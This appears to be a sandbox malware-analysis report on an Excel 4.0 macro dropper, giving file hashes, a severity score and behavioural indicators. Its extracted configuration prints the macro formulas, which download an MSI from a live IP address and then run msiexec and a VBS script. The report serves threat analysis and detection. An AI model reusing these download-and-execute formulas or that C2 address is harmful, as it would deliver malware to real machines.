General

  • Target

    0454c6a4b3529de10f718ac63472b620

  • Size

    6KB

  • Sample

    231221-1m1k4sbae5

  • MD5

    0454c6a4b3529de10f718ac63472b620

  • SHA1

    930f804cb102043bf923ce34a1aca7565639e4dd

  • SHA256

    c8b5f090fca28bef28a607e307b4a703aaba5cdc3dae9a63752849710c20a75e

  • SHA512

    ed1a40478c6f2a1600adeaf65d39540a21f60979c1ab1cdb57ccbd6b4c2d75a87e7a3cf51522355b86f6210a2efb1bd28f209cd2afd137be6394461f7b1b6a62

  • SSDEEP

    192:NDSpuSl1aEOmmfR28UhHFBFYuQb98y+Mts:NOu8wI1FY9b98y+ms

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187

Attributes
  • formulas

    =EXEC("msiexec.exe") =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187","C:\ProgramData\uluculus.msi",0,0) =EXEC("wscript C:\ProgramData\start.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187

Targets

    • Target

      0454c6a4b3529de10f718ac63472b620

    • Size

      6KB

    • MD5

      0454c6a4b3529de10f718ac63472b620

    • SHA1

      930f804cb102043bf923ce34a1aca7565639e4dd

    • SHA256

      c8b5f090fca28bef28a607e307b4a703aaba5cdc3dae9a63752849710c20a75e

    • SHA512

      ed1a40478c6f2a1600adeaf65d39540a21f60979c1ab1cdb57ccbd6b4c2d75a87e7a3cf51522355b86f6210a2efb1bd28f209cd2afd137be6394461f7b1b6a62

    • SSDEEP

      192:NDSpuSl1aEOmmfR28UhHFBFYuQb98y+Mts:NOu8wI1FY9b98y+ms

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks